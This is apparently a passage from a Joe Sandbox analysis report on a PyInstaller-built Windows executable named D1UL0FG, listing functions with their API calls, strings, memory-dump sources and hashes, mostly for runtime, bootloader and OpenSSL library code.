Function 00007FF67AEE042C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE0480

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: 67d57be4f972b6edd41dcb2f958cc587ff1bbeb1c7af30665da0a5d1d4954090
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 6801C463A6C74140FA04FF529A01069A7E1BF85FE0F0846B1EE5C97BE6DE3CE501A300

Function 00007FF67AED9070 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67AED9400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF67AED45E4,00000000,00007FF67AED1985), ref: 00007FF67AED9439

LoadLibraryExW.KERNEL32(?,00007FF67AED6466,?,00007FF67AED336E), ref: 00007FF67AED9092

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: 7140f7c55cf735ced6a4f02887063d730e60c19ae08c919a697b9dfe54228ee6
Instruction ID: 610c12a7b91eeeeec6a624257fd8e4713549142ad5a20ac5200789b02f038f26
Opcode Fuzzy Hash: 7140f7c55cf735ced6a4f02887063d730e60c19ae08c919a697b9dfe54228ee6
Instruction Fuzzy Hash: 3DD08C12B3824541EA94B767BA466295251ABC9BC0E98D075EE4D83B6ADC3CC0419B00

Function 00007FF8A92E1CF8 Relevance: 1.3, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF8A9326A61

Memory Dump Source

Source File: 00000006.00000002.3007572245.00007FF8A92E1000.00000040.00000001.01000000.00000017.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000006.00000002.3007520980.00007FF8A92E0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9354000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9356000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9379000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9384000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A938E000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007939655.00007FF8A9391000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007986367.00007FF8A9393000.00000004.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8a92e0000_D1UL0FG.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 5563a82993f3f8e44ea2e202436c36dc659c7fe328bd3c98202d5b79c02492c4
Instruction ID: 4a1bf2b779b5661323bf08d1e01685e5ca18e85cae4de152424f6249cff32354
Opcode Fuzzy Hash: 5563a82993f3f8e44ea2e202436c36dc659c7fe328bd3c98202d5b79c02492c4
Instruction Fuzzy Hash: DE318E72A0EAC696FB649F26954013D63B1EF70BC8F54A032DE0987789DE38E8918741

Function 00007FF8A92F7EB0 Relevance: 1.3, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF8A92F7EE1

Memory Dump Source

Source File: 00000006.00000002.3007572245.00007FF8A92E1000.00000040.00000001.01000000.00000017.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000006.00000002.3007520980.00007FF8A92E0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9354000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9356000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9379000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9384000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A938E000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007939655.00007FF8A9391000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007986367.00007FF8A9393000.00000004.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8a92e0000_D1UL0FG.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: f8a161ca16946112414120da3da362b423baedddf845a4f9c426056871324c08
Instruction ID: fd594038d59d686154875ddcb7e023d0b848bf758bcb6720803879813d57cd51
Opcode Fuzzy Hash: f8a161ca16946112414120da3da362b423baedddf845a4f9c426056871324c08
Instruction Fuzzy Hash: 99217A32A0878096E754CF26E5806ADB7A4FB88BD0F148135EB9C83B69CF7CD165CB00

Function 00007FF67AEEEC08 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF67AEEB39A,?,?,?,00007FF67AEE4F81,?,?,?,?,00007FF67AEEA4FA), ref: 00007FF67AEEEC5D

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 359dceec71bad03d682dc04f56d48d79ef81111e86adbc932549883800f831e6
Instruction ID: 4f2edcf9cc4e26ee22f3682bb768c12c1c08652d4aed9a35be88a98b7cce543d
Opcode Fuzzy Hash: 359dceec71bad03d682dc04f56d48d79ef81111e86adbc932549883800f831e6
Instruction Fuzzy Hash: 8FF09052B2D787E0FE987B62A8513B563809F88F80F4C55B0CD0EC63F1EE1CE480A210

Function 00007FF8A92E1F32 Relevance: 1.3, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF8A92F837B

Memory Dump Source

Source File: 00000006.00000002.3007572245.00007FF8A92E1000.00000040.00000001.01000000.00000017.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000006.00000002.3007520980.00007FF8A92E0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9354000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9356000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9379000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9384000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A938E000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007939655.00007FF8A9391000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007986367.00007FF8A9393000.00000004.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8a92e0000_D1UL0FG.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: d30e7c5704879f11d1e112ae6777e6cf3c1901bb9f2e947874565881c85a4ca2
Instruction ID: 2637b1a6361a26ab418502f950d37b9bf8a85302ec95de1b65f4366f5f5a4780
Opcode Fuzzy Hash: d30e7c5704879f11d1e112ae6777e6cf3c1901bb9f2e947874565881c85a4ca2
Instruction Fuzzy Hash: 64F06D2260DB8196E6009F16F84026AA7A4EB85FC0F188035EE9D87B69DE3CC4518700

Function 00007FF67AEED66C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF67AEE0D00,?,?,?,00007FF67AEE236A,?,?,?,?,?,00007FF67AEE3B59), ref: 00007FF67AEED6AA

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction ID: 246bcc63316234fdbbf05648262b30252832f46eca54ec5bf25f60ccc97889d3
Opcode Fuzzy Hash: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction Fuzzy Hash: AFF05812F2E34384FEA47771588127813908F94BA0F0C03B0DD2ECA3F2EE6CE480A610

Non-executed Functions

Function 00007FF67AED8BD0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257synchronizationwindowregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67AED9400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF67AED45E4,00000000,00007FF67AED1985), ref: 00007FF67AED9439

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8C2B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8C46

Part of subcall function 00007FF67AEEA4EC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEEA500

Part of subcall function 00007FF67AEE878C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE87F3

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8CD6
CreateProcessW.KERNEL32 ref: 00007FF67AED8D0E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8D18

Part of subcall function 00007FF67AED2C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF67AED3706,?,00007FF67AED3804), ref: 00007FF67AED2C9E
Part of subcall function 00007FF67AED2C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF67AED3706,?,00007FF67AED3804), ref: 00007FF67AED2D63
Part of subcall function 00007FF67AED2C50: MessageBoxW.USER32 ref: 00007FF67AED2D99

RegisterClassW.USER32 ref: 00007FF67AED8D70
GetLastError.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8D7B
CreateWindowExW.USER32 ref: 00007FF67AED8DC5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8DD7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8DF2
GetLastError.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8E05
PeekMessageW.USER32 ref: 00007FF67AED8E29
TranslateMessage.USER32 ref: 00007FF67AED8E37
DispatchMessageW.USER32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8E41
PeekMessageW.USER32 ref: 00007FF67AED8E5C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8E6E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8E89
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8E9F
GetLastError.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8EA9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8EB7
DestroyWindow.USER32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED8FF4
GetExitCodeProcess.KERNEL32 ref: 00007FF67AED9009
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED9012
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF67AED3F7F), ref: 00007FF67AED901F

Strings

Failed to create child process!, xrefs: 00007FF67AED8D20
PyInstallerOnefileHiddenWindow, xrefs: 00007FF67AED8D44
CreateProcessW, xrefs: 00007FF67AED8D27
PyInstaller Onefile Hidden Window, xrefs: 00007FF67AED8D85

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
Instruction ID: 69b5a666fe98631bca6c1411317543d8f2af48f00ae4850d0e564a3bbcc7d722
Opcode Fuzzy Hash: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
Instruction Fuzzy Hash: 14D19133A28A8286EB50AF74E8542AD3764FF84B58F504279DE5D83AB4DF3CD544DB00

Function 00007FF8B9105638 Relevance: 24.9, APIs: 1, Strings: 13, Instructions: 356COMMON

Download Yara Rule

APIs

00007FF8BFB91C10.VCRUNTIME140 ref: 00007FF8B91057D3

Strings

%X:%X:%X:%X:%X:%X:%X:%X, xrefs: 00007FF8B910599A
IP Address, xrefs: 00007FF8B91058CA
Registered ID, xrefs: 00007FF8B9105846
URI, xrefs: 00007FF8B9105A33
failed to allocate BIO, xrefs: 00007FF8B9105699
Invalid value %.200s, xrefs: 00007FF8B9105B33
%d.%d.%d.%d, xrefs: 00007FF8B9105906
DirName, xrefs: 00007FF8B91059E5
email, xrefs: 00007FF8B9105A45
Unknown general name type %d, xrefs: 00007FF8B910576B
DNS, xrefs: 00007FF8B9105A3C
<INVALID>, xrefs: 00007FF8B9105883
<invalid>, xrefs: 00007FF8B91059C4

Memory Dump Source

Source File: 00000006.00000002.3010460517.00007FF8B9101000.00000040.00000001.01000000.00000015.sdmp, Offset: 00007FF8B9100000, based on PE: true

Associated: 00000006.00000002.3010325096.00007FF8B9100000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000006.00000002.3010460517.00007FF8B911E000.00000040.00000001.01000000.00000015.sdmpDownload File
Associated: 00000006.00000002.3010460517.00007FF8B9128000.00000040.00000001.01000000.00000015.sdmpDownload File
Associated: 00000006.00000002.3010843875.00007FF8B912B000.00000080.00000001.01000000.00000015.sdmpDownload File
Associated: 00000006.00000002.3010910842.00007FF8B912D000.00000004.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b9100000_D1UL0FG.jbxd

Similarity

API ID: 00007
String ID: %X:%X:%X:%X:%X:%X:%X:%X$%d.%d.%d.%d$<INVALID>$<invalid>$DNS$DirName$IP Address$Invalid value %.200s$Registered ID$URI$Unknown general name type %d$email$failed to allocate BIO
API String ID: 3568877910-4109427827
Opcode ID: 7895d131b6137be5c8c8624093367bb48e18f136146c53bb6ebae29535947f32
Instruction ID: 6599932094976bea7d56cf1cfe673f91e90b43ba1b0c4dc1302eda07fb707824
Opcode Fuzzy Hash: 7895d131b6137be5c8c8624093367bb48e18f136146c53bb6ebae29535947f32
Instruction Fuzzy Hash: 26F15E25A08BC286EA558F2EA85413977A1FF85BD1F4440B5DF4E86AB4EF3EF404E710

Function 00007FF8A8633028 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8A8633044
00007FF8BFB919A0.VCRUNTIME140 ref: 00007FF8A8633068
RtlCaptureContext.KERNEL32 ref: 00007FF8A8633071
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8A863308B
RtlVirtualUnwind.KERNEL32 ref: 00007FF8A86330CC
00007FF8BFB919A0.VCRUNTIME140 ref: 00007FF8A86330FF
IsDebuggerPresent.KERNEL32 ref: 00007FF8A8633120
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8A8633141
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8A863314C

Memory Dump Source

Source File: 00000006.00000002.3002205748.00007FF8A8631000.00000040.00000001.01000000.0000001A.sdmp, Offset: 00007FF8A8630000, based on PE: true

Associated: 00000006.00000002.3002160686.00007FF8A8630000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002205748.00007FF8A8694000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002205748.00007FF8A86E3000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002205748.00007FF8A873C000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002205748.00007FF8A8741000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002205748.00007FF8A8744000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002828639.00007FF8A8745000.00000080.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002876682.00007FF8A8747000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8a8630000_D1UL0FG.jbxd

Similarity

API ID: 00007B919ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 923106377-0
Opcode ID: bc038827588cf40f583b99cfdd4304ae94c893dbf377535741e30029c5cf38f6
Instruction ID: aa98b981630f7dbe750c9d9c3438959617f932b1014e5156d211c521be7327ad
Opcode Fuzzy Hash: bc038827588cf40f583b99cfdd4304ae94c893dbf377535741e30029c5cf38f6
Instruction Fuzzy Hash: BC316F7260AB8196FB608F60E9843EE7364FB84784F44603ADA4E47B98DF3CD548C724

Function 00007FF67AED83B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00007FF67AED8B09,00007FF67AED3FA5), ref: 00007FF67AED841B
RemoveDirectoryW.KERNEL32(?,00007FF67AED8B09,00007FF67AED3FA5), ref: 00007FF67AED849E
DeleteFileW.KERNEL32(?,00007FF67AED8B09,00007FF67AED3FA5), ref: 00007FF67AED84BD
FindNextFileW.KERNEL32(?,00007FF67AED8B09,00007FF67AED3FA5), ref: 00007FF67AED84CB
FindClose.KERNEL32(?,00007FF67AED8B09,00007FF67AED3FA5), ref: 00007FF67AED84DC
RemoveDirectoryW.KERNEL32(?,00007FF67AED8B09,00007FF67AED3FA5), ref: 00007FF67AED84E5

Strings

%s\*, xrefs: 00007FF67AED83E2

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
Instruction ID: d3a2438e11d2ca88eb340adb5ca6ecbc3b6e3c88ee57efbd3099f17788b74922
Opcode Fuzzy Hash: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
Instruction Fuzzy Hash: 9241B233A2CA4285EE60BB20E4541B96760FBD4B95FA002B6D59DC36E4DF3CE54ADB00

Function 00007FF67AEDD19C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF67AEDD1B8
RtlCaptureContext.KERNEL32 ref: 00007FF67AEDD1E5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF67AEDD1FF
RtlVirtualUnwind.KERNEL32 ref: 00007FF67AEDD240
IsDebuggerPresent.KERNEL32 ref: 00007FF67AEDD294
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF67AEDD2B1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF67AEDD2BC

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
Instruction ID: cf2770487e1234ec44757334ece3c32facafec0d435b1ac96b1089b2e334007d
Opcode Fuzzy Hash: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
Instruction Fuzzy Hash: 81313373619B8189EBA09F64E8803EE7364FB84744F444439DA4D87BA5EF3CD548DB10

Function 00007FF67AEF5C70 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF67AEF5CB5

Part of subcall function 00007FF67AEF5608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEF561C

Part of subcall function 00007FF67AEEA9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF67AEF2D92,?,?,?,00007FF67AEF2DCF,?,?,00000000,00007FF67AEF3295,?,?,?,00007FF67AEF31C7), ref: 00007FF67AEEA9CE
Part of subcall function 00007FF67AEEA9B8: GetLastError.KERNEL32(?,?,?,00007FF67AEF2D92,?,?,?,00007FF67AEF2DCF,?,?,00000000,00007FF67AEF3295,?,?,?,00007FF67AEF31C7), ref: 00007FF67AEEA9D8

Part of subcall function 00007FF67AEEA970: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF67AEEA94F,?,?,?,?,?,00007FF67AEEA83A), ref: 00007FF67AEEA979
Part of subcall function 00007FF67AEEA970: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF67AEEA94F,?,?,?,?,?,00007FF67AEEA83A), ref: 00007FF67AEEA99E

_get_daylight.LIBCMT ref: 00007FF67AEF5CA4

Part of subcall function 00007FF67AEF5668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEF567C

_get_daylight.LIBCMT ref: 00007FF67AEF5F1A
_get_daylight.LIBCMT ref: 00007FF67AEF5F2B
_get_daylight.LIBCMT ref: 00007FF67AEF5F3C
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF67AEF617C), ref: 00007FF67AEF5F63

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: 0c9ae4c43809035ead388df1149d8e15e4647e923e6de7bb59d770bfc2eeda5e
Instruction ID: 2ea0de5c1396435eefc315366a3c5b596948944cbb0b1f8305bf955c7f59c302
Opcode Fuzzy Hash: 0c9ae4c43809035ead388df1149d8e15e4647e923e6de7bb59d770bfc2eeda5e
Instruction Fuzzy Hash: 45D12363A2828286E7A4FF21E8501B92751FF94784F41817EEE0DC76A6EF3CE541DB50

Function 00007FF8A92E1DD4 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 449COMMON

Download Yara Rule

APIs

00007FF8C61208A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8A93248A7

Strings

..\s\ssl\statem\extensions_srvr.c, xrefs: 00007FF8A93245CF, 00007FF8A932478F, 00007FF8A9324A2C, 00007FF8A9324CAF
D:\a\1\s\ssl\packet_local.h, xrefs: 00007FF8A932469F, 00007FF8A93246B3

Memory Dump Source

Source File: 00000006.00000002.3007572245.00007FF8A92E1000.00000040.00000001.01000000.00000017.sdmp, Offset: 00007FF8A92E0000, based on PE: true

